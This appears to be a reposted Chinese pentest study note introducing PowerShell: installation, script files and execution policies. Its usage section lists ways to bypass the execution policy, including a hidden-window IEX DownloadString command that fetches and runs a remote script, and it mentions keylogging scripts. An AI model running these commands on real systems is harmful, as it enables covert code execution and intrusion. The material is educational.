内网渗透 | 2. Windows Powershell入门

渗透技巧 2年前 (2021) admin
1,153 0 0

0x01 前言

根据《内网安全攻防:渗透测试实战指南》目录进行写笔记和巩固基础。

0x02 介绍

Windows PowerShell®是基于任务的命令行管理程序和脚本语言,专为进行系统管理而设计。在 .NET Framework 的基础上构建的 Windows PowerShell 可帮助 IT 专业人士和高级用户控制和自动执行 Windows 操作系统以及在 Windows 上运行的应用程序的管理。

UNIX 系统一直有着功能强大的脚本(shell),Windows PowerShell 的诞生就是要提供功能相当于 UNIX 系统 BASH 的命令行外壳程序,同时也内建脚本语言以及辅助脚本程序的工具。

官方文档
https://docs.microsoft.com/zh-cn/powershell/scripting/overview?view=powershell-7.2
内网渗透 | 2. Windows Powershell入门

0x03 安装Powershell

内网渗透 | 2. Windows Powershell入门
https://docs.microsoft.com/zh-cn/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.2

Windows

安装程序在 Windows “开始” 菜单中创建一个快捷方式。

  • 默认情况下,包安装位置为 $env:ProgramFilesPowerShell<version>
  • 可以通过“开始”菜单或$env:ProgramFilesPowerShell<version>pwsh.exe 启动 PowerShell

MacOS

安装 Homebrew。
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

现在,可以开始安装 PowerShell

brew install --cask powershell

最后,验证安装是否正常运行:

pwsh

PowerShell 新版本发布后,更新 Homebrew 公式并升级 PowerShell:

brew update
brew upgrade powershell --cask
  • 备注

    • 可从 PowerShell (pwsh) 主机调用上面的命令,但是调用后必须退出 PowerShell 并重启以完成升级,并刷新 $PSVersionTable 中显示的值。
https://docs.microsoft.com/zh-cn/powershell/scripting/learn/tutorials/01-discover-powershell?view=powershell-7.2

查看当前Powershell版本的话,也很简单: $PSVersionTable

内网渗透 | 2. Windows Powershell入门
参考Poweshell使用:
https://www.jianshu.com/p/c8f5c374466a

0x04 使用

PS1文件

一个PowerShell脚本其实就是一个简单的文本文件, 这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,它的文件名需要加上.PS1的扩展名。

内网渗透 | 2. Windows Powershell入门

PowerShell的执行策略

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用:Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。

  • Restricted:脚本不能运行(默认设置)
  • RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行;
  • Unrestricted:允许所有的脚本执行
Set-ExecutionPolicy 策略名(如:Unrestricted)
内网渗透 | 2. Windows Powershell入门

在渗透时,就需要采用一些方法绕过策略来执行脚本, 比如下面这三种。

  • 绕过本地权限执行
    • 上传xx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1
  • 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File xx.ps1
  • 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

下面对上述命令的参数进行说明,如下所示。

ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行PowerShell脚本时都要使用这个参数。

  • WindowStyle Hidden:隐藏窗口。
  • NoLogo: 启动不显示版权标志的PowerShell.
  • NonInteractive (-Nonl):非交互模式,PowerShell不为用户提供交互的提示。
  • NoProfile (-NoP): PowerShell控制台不加载当前用户的配置文件。
  • Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

PowerShel脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

我自己有看书:《Windows PowerShell实战指南》(第三版)

更多学习文档:
https://www.cnblogs.com/lavender000/p/6935589.html
https://docs.microsoft.com/zh-cn/powershell/
https://cloud.tencent.com/developer/article/1797817

0x05 结尾

多动手,我写的不全面!只能用作引导入门,通过我的引导去学,去找资料!

从现在开始,星球定价125元!日后只有慢慢涨没有跌价!现在入股不亏,持续输出原创文章,还是小有干货的!内网渗透 | 2. Windows Powershell入门

原文始发于微信公众号(不懂安全的校长):内网渗透 | 2. Windows Powershell入门

版权声明:admin 发表于 2021年11月10日 下午12:09。
转载请注明:内网渗透 | 2. Windows Powershell入门 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...